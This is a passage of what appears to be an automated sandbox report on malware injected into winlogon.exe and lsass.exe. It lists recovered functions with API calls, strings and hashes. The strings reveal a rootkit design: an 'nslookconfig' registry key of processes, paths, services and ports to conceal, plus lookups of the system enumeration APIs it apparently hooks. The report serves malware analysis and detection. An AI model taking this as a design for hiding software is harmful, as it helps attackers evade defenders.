_set_statfp.LIBCMT ref: 000001AFDDD12CD7
_set_statfp.LIBCMT ref: 000001AFDDD12D13

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: cc0e6aa70c64fa1fb9871bfe7337b17ff6d0d8017f9ace4946a188b2bf8f1e88
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 1C119433753A4301FF5611E8E8577E51849EB5737CF54063CAF66167EE8A26884B4207

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDCE2078 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001AFDDCE20A0
_set_statfp.LIBCMT ref: 000001AFDDCE20BB
_set_statfp.LIBCMT ref: 000001AFDDCE20D7
_set_statfp.LIBCMT ref: 000001AFDDCE2113

Memory Dump Source

Source File: 0000002A.00000002.508622976.000001AFDDCD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDCD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddcd0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 7c8cf4f4356880d358edfb0bdf00968b5fd6df14598648be04d9af7c821d71cb
Instruction ID: 9a5005ca0149a622bcbfe9212328a717b23ebe418a7c218701e4ef018b6ada71
Opcode Fuzzy Hash: 7c8cf4f4356880d358edfb0bdf00968b5fd6df14598648be04d9af7c821d71cb
Instruction Fuzzy Hash: 6411C1F2B57A4002F67A11E8D453BE5C0406B57370F08423CABE67B2D6CA2B8D8BD202

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDCDDD54 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 175COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001AFDDCDDE25

Strings

Dec, xrefs: 000001AFDDCDDEF1
Oct, xrefs: 000001AFDDCDDDF5
January, xrefs: 000001AFDDCDDF00

Memory Dump Source

Source File: 0000002A.00000002.508622976.000001AFDDCD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDCD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddcd0000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Dec$January$Oct
API String ID: 3215553584-2670745533
Opcode ID: 5e3f35654ae946a199acd0dab1e3d24a2855035388db7b56c0256662182ab222
Instruction ID: 431692b53e5719ff494d713a10d9755451cd40553e64669349596e23b84580b4
Opcode Fuzzy Hash: 5e3f35654ae946a199acd0dab1e3d24a2855035388db7b56c0256662182ab222
Instruction Fuzzy Hash: 9C61A072B0374086FA679BD5AC503EA66A1E796784F10403DDACA13BD4FB38D84F8213

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDCD9A10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001AFDDCD9A2D
_invalid_parameter_noinfo.LIBCMT ref: 000001AFDDCD9A8E

Strings

r-dialogbox-l1-1-0, xrefs: 000001AFDDCD9AE5

Memory Dump Source

Source File: 0000002A.00000002.508622976.000001AFDDCD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDCD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddcd0000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: r-dialogbox-l1-1-0
API String ID: 3215553584-4250323851
Opcode ID: 0c2568eed714bf13032a55bd6b1163a073a3bffa3452c1d7e2ab8017899a9a63
Instruction ID: 8a968e75e2652b45e476cb65f0b2fa9e83f6bd7acc6eda74565218df30689e38
Opcode Fuzzy Hash: 0c2568eed714bf13032a55bd6b1163a073a3bffa3452c1d7e2ab8017899a9a63
Instruction Fuzzy Hash: 9C41237670378081EB369BD19C403FA7AA0A347BA4F554239EAC9077D5CE38C58BC702

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD01000 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 105registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001AFDDD01060
RegEnumValueW.ADVAPI32 ref: 000001AFDDD010E5

Strings

d, xrefs: 000001AFDDD010A5

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: EnumInfoQueryValue
String ID: d
API String ID: 918324718-2564639436
Opcode ID: 2b6f759017033bc42d1ee0350eeb4893f61cf903c5f23e249b9070065a49af58
Instruction ID: 1a44b54b67769235c9634d2a71251d73bfbd3abcb78807a973e81b88e611af52
Opcode Fuzzy Hash: 2b6f759017033bc42d1ee0350eeb4893f61cf903c5f23e249b9070065a49af58
Instruction Fuzzy Hash: 0E41397230AB8096EB658B91F84039AB3A5F3CAB84F504529EB9943B58DF38D465DB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD116F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001AFDDD11807
GetLastError.KERNEL32 ref: 000001AFDDD11829

Strings

U, xrefs: 000001AFDDD117B3

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: bc4894b8380f827de51b153ff8dcd6fe6eccf43ce17c5514f992378ed3d9d4cf
Instruction ID: f50353c2e63f78272b59be42bc0c6ce02e7e512a92cf7694df93f4e3d2eb207e
Opcode Fuzzy Hash: bc4894b8380f827de51b153ff8dcd6fe6eccf43ce17c5514f992378ed3d9d4cf
Instruction Fuzzy Hash: 7741D073316A4182EF219FA5E4443EAA7A8F399788F404139EE4D87788EB38C44AC741

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD0C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001AFDDD0C849
LCMapStringW.KERNEL32 ref: 000001AFDDD0C8D1

Strings

LCMapStringEx, xrefs: 000001AFDDD0C82C, 000001AFDDD0C83D

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 0650644c2c900b4814cbcd9bf92414a9b71a297e973e0b979cc5e0fd495833a0
Instruction ID: 5b6939169f4ef5506958d9c10e691ff9f04027efa48362e0e0c3b077d0df604c
Opcode Fuzzy Hash: 0650644c2c900b4814cbcd9bf92414a9b71a297e973e0b979cc5e0fd495833a0
Instruction Fuzzy Hash: 93110B36709B8086DB65CB95B84029AB7A8F7C9B84F54412AEE8D83B99DF38C455CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD09CE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 000001AFDDD09D28
RaiseException.KERNEL32 ref: 000001AFDDD09D6E

Strings

csm, xrefs: 000001AFDDD09D5B

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 3bc9577514421139fbef7d5dc897fc9f2b2065d60f0eafa8fa7f61b963509bf2
Instruction ID: ef7da00e5fdc505a53e48b1a5366db48bfbc70b2ceaa84c8faf4c4a601d51945
Opcode Fuzzy Hash: 3bc9577514421139fbef7d5dc897fc9f2b2065d60f0eafa8fa7f61b963509bf2
Instruction Fuzzy Hash: BB110D32216B4482EB118F95F44079977A5F789B98F584225EF8D077A8DF38C556CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD0C7AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001AFDDD0C7DD
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001AFDDD0C7F7

Strings

InitializeCriticalSectionEx, xrefs: 000001AFDDD0C7D1

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 8e6a3fe44e534738534d9a01dabf262b013e09a9fbdd3e3c06b7ef608cce99ba
Instruction ID: c4afb344ce288393bc91545898738fa608b72c3e5a75de42af0a843adea9db2d
Opcode Fuzzy Hash: 8e6a3fe44e534738534d9a01dabf262b013e09a9fbdd3e3c06b7ef608cce99ba
Instruction Fuzzy Hash: 93F05E3631379081EE1A9BC6B9406E52268E789B88F484039E95917BD9CF38C48FC742

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD0C758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001AFDDD0C781
TlsSetValue.KERNEL32 ref: 000001AFDDD0C798

Strings

FlsSetValue, xrefs: 000001AFDDD0C76E

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 3752bcc65c7c5609300ea25ac4cfde0f10294ffc29cf2283e288bad232694535
Instruction ID: b618eeded865b2ba63fad67f49416b7abbeb1aa83fd95d95196119805e1298e3
Opcode Fuzzy Hash: 3752bcc65c7c5609300ea25ac4cfde0f10294ffc29cf2283e288bad232694535
Instruction Fuzzy Hash: DCE0927630364191EF1A4BD4F8406E8232AE7CA788F48403ED90A073D5CE38C88FC302

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: lsass.exePID: 612, Parent PID: 2324COMMON

Executed Functions

Function 00000240B2BB3F20 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000240B2BB3F58
PathFindFileNameW.SHLWAPI ref: 00000240B2BB3F6B
GetModuleHandleW.KERNEL32 ref: 00000240B2BB3F95
GetCurrentProcess.KERNEL32 ref: 00000240B2BB3FC7
VirtualProtectEx.KERNEL32 ref: 00000240B2BB3FE9
GetCurrentProcess.KERNEL32 ref: 00000240B2BB4007
VirtualProtectEx.KERNEL32 ref: 00000240B2BB4028
CreateThread.KERNEL32 ref: 00000240B2BB4068

Part of subcall function 00000240B2BBA610: _invalid_parameter_noinfo.LIBCMT ref: 00000240B2BBA62D

Strings

nslook, xrefs: 00000240B2BB3F7C

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: CurrentFileModuleNameProcessProtectVirtual$CreateFindHandlePathThread_invalid_parameter_noinfo
String ID: nslook
API String ID: 2570614652-925916808
Opcode ID: f1d8bc74bf052771e52778655c87fe18c3546f35a08540481f72330a9496183f
Instruction ID: dcc2e83fdd852ef67f17a6b0ccffd3eb0ce3fa7ff6a42ce8c6185e14426c83e4
Opcode Fuzzy Hash: f1d8bc74bf052771e52778655c87fe18c3546f35a08540481f72330a9496183f
Instruction Fuzzy Hash: B5414925615B4082FB689B21F4ACB9A27B1F74CB88F44442DDB8A4A794EF7DC188C748

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB1ED0 Relevance: 3.0, APIs: 2, Instructions: 18
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00000240B2BB1EE7
SleepEx.KERNEL32 ref: 00000240B2BB1EED

Part of subcall function 00000240B2BB1400: RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB15DA
Part of subcall function 00000240B2BB1400: RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB1605
Part of subcall function 00000240B2BB1400: RegCloseKey.ADVAPI32 ref: 00000240B2BB161F
Part of subcall function 00000240B2BB1400: RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB1642
Part of subcall function 00000240B2BB1400: RegCloseKey.ADVAPI32 ref: 00000240B2BB165D
Part of subcall function 00000240B2BB1400: RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB1680
Part of subcall function 00000240B2BB1400: RegCloseKey.ADVAPI32 ref: 00000240B2BB169B
Part of subcall function 00000240B2BB1400: RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB16BE
Part of subcall function 00000240B2BB1400: RegCloseKey.ADVAPI32 ref: 00000240B2BB16D9
Part of subcall function 00000240B2BB1400: RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB16FC
Part of subcall function 00000240B2BB1400: RegCloseKey.ADVAPI32 ref: 00000240B2BB1717
Part of subcall function 00000240B2BB1400: RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB173A
Part of subcall function 00000240B2BB1400: RegCloseKey.ADVAPI32 ref: 00000240B2BB1755

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: Open$Close$Sleep
String ID:
API String ID: 3308825301-0
Opcode ID: 0335e562c384ed4ab1b4dfda930fd32856ca0767eaff0783c008b7edfd4736cd
Instruction ID: fe619fbb74f11101744f5577c4ddf1baf52b86de80cc706a6918003e6afd4ee2
Opcode Fuzzy Hash: 0335e562c384ed4ab1b4dfda930fd32856ca0767eaff0783c008b7edfd4736cd
Instruction Fuzzy Hash: 29E0E61062570554FE946766ACDDF991299E74C7CCF1C043C9B4D4F792ED3880D9530D

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2B835D0 Relevance: 1.7, APIs: 1, Instructions: 216
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000240B2B83745

Memory Dump Source

Source File: 0000002C.00000002.510307520.00000240B2B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2B80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2b80000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 08772dcd6b70912aa01ac8df599671afdeafe4e5ce07d66a2e7adf18228cebbd
Instruction ID: 10603fc9934f911dc8bfe334a8204fe3a1cbc36b8d5954e21b846d035cc5e1c9
Opcode Fuzzy Hash: 08772dcd6b70912aa01ac8df599671afdeafe4e5ce07d66a2e7adf18228cebbd
Instruction Fuzzy Hash: C481EE7370169087DB558F15D49CB6A77A9FB48B98F098128DF0E0F384EE38D892C705

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00000240B2BB1400 Relevance: 47.5, APIs: 18, Strings: 9, Instructions: 240
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000240B2BB840C: Concurrency::cancel_current_task.LIBCPMT ref: 00000240B2BB843C

RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB15DA
RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB1605
RegCloseKey.ADVAPI32 ref: 00000240B2BB161F
RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB1642
RegCloseKey.ADVAPI32 ref: 00000240B2BB165D
RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB1680
RegCloseKey.ADVAPI32 ref: 00000240B2BB169B
RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB16BE
RegCloseKey.ADVAPI32 ref: 00000240B2BB16D9
RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB16FC
RegCloseKey.ADVAPI32 ref: 00000240B2BB1717
RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB173A
RegCloseKey.ADVAPI32 ref: 00000240B2BB1755
RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB1778
RegCloseKey.ADVAPI32 ref: 00000240B2BB1793
RegOpenKeyExW.ADVAPI32 ref: 00000240B2BB17B6
RegCloseKey.ADVAPI32 ref: 00000240B2BB17D1
RegCloseKey.ADVAPI32 ref: 00000240B2BB17DB

Part of subcall function 00000240B2BB11C0: RegQueryInfoKeyW.ADVAPI32 ref: 00000240B2BB1220
Part of subcall function 00000240B2BB11C0: RegEnumValueW.ADVAPI32 ref: 00000240B2BB12AD
Part of subcall function 00000240B2BB11C0: lstrcmpiW.KERNEL32 ref: 00000240B2BB12F6
Part of subcall function 00000240B2BB11C0: lstrlenW.KERNEL32 ref: 00000240B2BB1363

Strings

pid, xrefs: 00000240B2BB163B
paths, xrefs: 00000240B2BB16B7
SOFTWARE\nslookconfig, xrefs: 00000240B2BB15B6
startup, xrefs: 00000240B2BB15FE
service_names, xrefs: 00000240B2BB16F5
process_names, xrefs: 00000240B2BB1679
tcp_local, xrefs: 00000240B2BB1733
tcp_remote, xrefs: 00000240B2BB1771
udp, xrefs: 00000240B2BB17AF

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: CloseOpen$Concurrency::cancel_current_taskEnumInfoQueryValuelstrcmpilstrlen
String ID: SOFTWARE\nslookconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2205723969-4286660177
Opcode ID: 7cf5cfbc156c7f14cfbef28fc8ad97089fc617735fd991efd10034e53f37ea62
Instruction ID: 36d96ed6ba9acfdb5b1d227e47fa163c3954f2918317e92d1a09cf9de4e0edce
Opcode Fuzzy Hash: 7cf5cfbc156c7f14cfbef28fc8ad97089fc617735fd991efd10034e53f37ea62
Instruction Fuzzy Hash: 70C13432610B108AE710DF62E89CB9E77B8F788B88F05841ADB895BB55DF78C594C744

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BBBEC8 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000240B2BBBF41
RtlLookupFunctionEntry.KERNEL32 ref: 00000240B2BBBF59
RtlVirtualUnwind.KERNEL32 ref: 00000240B2BBBF94
IsDebuggerPresent.KERNEL32 ref: 00000240B2BBBFCD
SetUnhandledExceptionFilter.KERNEL32 ref: 00000240B2BBBFD7
UnhandledExceptionFilter.KERNEL32 ref: 00000240B2BBBFE2

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: d18354117ab1f5ea70f659ee65f3239325a9cd384c952b0dc72439d0b55e665e
Instruction ID: b08139070d3228eaf542e35dbef6c80b101419e437285916c82d3c7cfe1eb281
Opcode Fuzzy Hash: d18354117ab1f5ea70f659ee65f3239325a9cd384c952b0dc72439d0b55e665e
Instruction Fuzzy Hash: 98316D36214F8086DB648F25E88C79E77B0F788798F50011AEB9D4BB98DF38C295CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BC1000 Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 00000240B2BC106F
WriteFile.KERNEL32 ref: 00000240B2BC1319
WriteFile.KERNEL32 ref: 00000240B2BC136B
GetLastError.KERNEL32 ref: 00000240B2BC14AD
GetLastError.KERNEL32 ref: 00000240B2BC14BF

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: fe26169f788e9b9e7868ecd312231555bbb6a3c1c65eac13abe60d826e8fca9f
Instruction ID: e50231c2316fade2453f452b56489106d5647e766db4a23dab7845d94281d02a
Opcode Fuzzy Hash: fe26169f788e9b9e7868ecd312231555bbb6a3c1c65eac13abe60d826e8fca9f
Instruction Fuzzy Hash: A8D1EE72714B809AEB00CB64D48CADD7BB1F74979CF54421ACF8A6BB99DE38C196C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB1F20 Relevance: 57.9, APIs: 21, Strings: 12, Instructions: 167
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000240B2BB1F42
GetModuleHandleA.KERNEL32 ref: 00000240B2BB1F57
GetProcAddress.KERNEL32 ref: 00000240B2BB1F6E
GetModuleHandleA.KERNEL32 ref: 00000240B2BB1FA3
GetProcAddress.KERNEL32 ref: 00000240B2BB1FB8
GetModuleHandleA.KERNEL32 ref: 00000240B2BB1FED
GetProcAddress.KERNEL32 ref: 00000240B2BB2002
GetModuleHandleA.KERNEL32 ref: 00000240B2BB2037
GetProcAddress.KERNEL32 ref: 00000240B2BB204C
GetModuleHandleA.KERNEL32 ref: 00000240B2BB2081
GetProcAddress.KERNEL32 ref: 00000240B2BB2096
GetModuleHandleA.KERNEL32 ref: 00000240B2BB20CB
GetProcAddress.KERNEL32 ref: 00000240B2BB20E0
GetModuleHandleA.KERNEL32 ref: 00000240B2BB2115
GetProcAddress.KERNEL32 ref: 00000240B2BB212A
GetModuleHandleA.KERNEL32 ref: 00000240B2BB215F
GetProcAddress.KERNEL32 ref: 00000240B2BB2174
GetModuleHandleA.KERNEL32 ref: 00000240B2BB21A9
GetProcAddress.KERNEL32 ref: 00000240B2BB21BE
GetModuleHandleA.KERNEL32 ref: 00000240B2BB21F3
GetProcAddress.KERNEL32 ref: 00000240B2BB2208

Strings

NtQuerySystemInformation, xrefs: 00000240B2BB1F64
ntdll.dll, xrefs: 00000240B2BB1F50, 00000240B2BB1F9C, 00000240B2BB1FE6, 00000240B2BB2030, 00000240B2BB207A, 00000240B2BB20C4, 00000240B2BB21EC
sechost.dll, xrefs: 00000240B2BB21A2
EnumServicesStatusExW, xrefs: 00000240B2BB216A, 00000240B2BB21B4
NtQueryDirectoryFile, xrefs: 00000240B2BB1FF8
NtEnumerateValueKey, xrefs: 00000240B2BB20D6
NtDeviceIoControlFile, xrefs: 00000240B2BB21FE
NtQueryDirectoryFileEx, xrefs: 00000240B2BB2042
EnumServiceGroupW, xrefs: 00000240B2BB2120
advapi32.dll, xrefs: 00000240B2BB210E, 00000240B2BB2158
NtEnumerateKey, xrefs: 00000240B2BB208C
NtResumeThread, xrefs: 00000240B2BB1FAE

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: AddressHandleModuleProc$CurrentThread
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4239977575-1975688563
Opcode ID: 581cd848fa1035c490543cb2f1aec387bc8739e25c5ec99f8b392157e34e0f20
Instruction ID: 5a230cfe1715b951945824e4d79379b3b11e199d200754eb448e630aac9c39b6
Opcode Fuzzy Hash: 581cd848fa1035c490543cb2f1aec387bc8739e25c5ec99f8b392157e34e0f20
Instruction Fuzzy Hash: 1B915324612B0591FE55DB14F8DCB9832A4FB5C79CF98582D874A0E2A8EF38C6D9C31D

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB29E0 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 379
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000240B2BB2B1C
GetFinalPathNameByHandleW.KERNEL32 ref: 00000240B2BB2B43
lstrlenW.KERNEL32 ref: 00000240B2BB2B71
lstrcpyW.KERNEL32 ref: 00000240B2BB2B8C
lstrcmpiW.KERNEL32 ref: 00000240B2BB2BF9
lstrcpyW.KERNEL32 ref: 00000240B2BB2C0E
lstrcatW.KERNEL32 ref: 00000240B2BB2C1B
PathCombineW.SHLWAPI ref: 00000240B2BB2C2A
lstrcmpiW.KERNEL32 ref: 00000240B2BB2C73
lstrcmpW.KERNEL32 ref: 00000240B2BB2C7B
lstrcmpiW.KERNEL32 ref: 00000240B2BB2D5B
lstrcpyW.KERNEL32 ref: 00000240B2BB2D70
lstrcatW.KERNEL32 ref: 00000240B2BB2D7D
PathCombineW.SHLWAPI ref: 00000240B2BB2D8C
lstrcmpW.KERNEL32 ref: 00000240B2BB2DDB
lstrcmpiW.KERNEL32 ref: 00000240B2BB2DD3

Part of subcall function 00000240B2BBA610: _invalid_parameter_noinfo.LIBCMT ref: 00000240B2BBA62D

Strings

\\?\, xrefs: 00000240B2BB2B53
nslook, xrefs: 00000240B2BB2BBF, 00000240B2BB2D1E, 00000240B2BB2E5C
\\.\pipe\, xrefs: 00000240B2BB2B27, 00000240B2BB2BE8, 00000240B2BB2D4A, 00000240B2BB2E84

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: lstrcmpi$Pathlstrcpy$Combinelstrcatlstrcmp$FileFinalHandleNameType_invalid_parameter_noinfolstrlen
String ID: \\.\pipe\$\\?\$nslook
API String ID: 4069998685-1812639415
Opcode ID: 50d4ea44a64ca543742431b3508c0a7aed6a82b491e0e1d75679c31f8e3d45a7
Instruction ID: 2a7cabc3e4d2bbc14bf58373884e0d3b61dc8e79d07c0b4028e9064b987b7d51
Opcode Fuzzy Hash: 50d4ea44a64ca543742431b3508c0a7aed6a82b491e0e1d75679c31f8e3d45a7
Instruction Fuzzy Hash: C1F17D32704B818AEB649F25E8DCB9977B1F78DB98F444019DB494BB98DF38C586C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB33C0 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 370
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000240B2BB3467
GetProcAddress.KERNEL32 ref: 00000240B2BB347C
OpenProcess.KERNEL32 ref: 00000240B2BB354C
K32GetModuleFileNameExW.KERNEL32 ref: 00000240B2BB356D
PathFindFileNameW.SHLWAPI ref: 00000240B2BB357F
lstrlenW.KERNEL32 ref: 00000240B2BB358B
lstrcpyW.KERNEL32 ref: 00000240B2BB35A3
CloseHandle.KERNEL32 ref: 00000240B2BB35AC
lstrcmpiW.KERNEL32 ref: 00000240B2BB36A8
lstrcmpW.KERNEL32 ref: 00000240B2BB36B0
OpenProcess.KERNEL32 ref: 00000240B2BB36EF
K32GetModuleFileNameExW.KERNEL32 ref: 00000240B2BB3710
PathFindFileNameW.SHLWAPI ref: 00000240B2BB3722
lstrlenW.KERNEL32 ref: 00000240B2BB372E
lstrcpyW.KERNEL32 ref: 00000240B2BB3746
CloseHandle.KERNEL32 ref: 00000240B2BB374F
lstrcmpiW.KERNEL32 ref: 00000240B2BB3818
lstrcmpW.KERNEL32 ref: 00000240B2BB3820

Strings

ntdll.dll, xrefs: 00000240B2BB3460
NtQueryObject, xrefs: 00000240B2BB3472
nslook, xrefs: 00000240B2BB383D
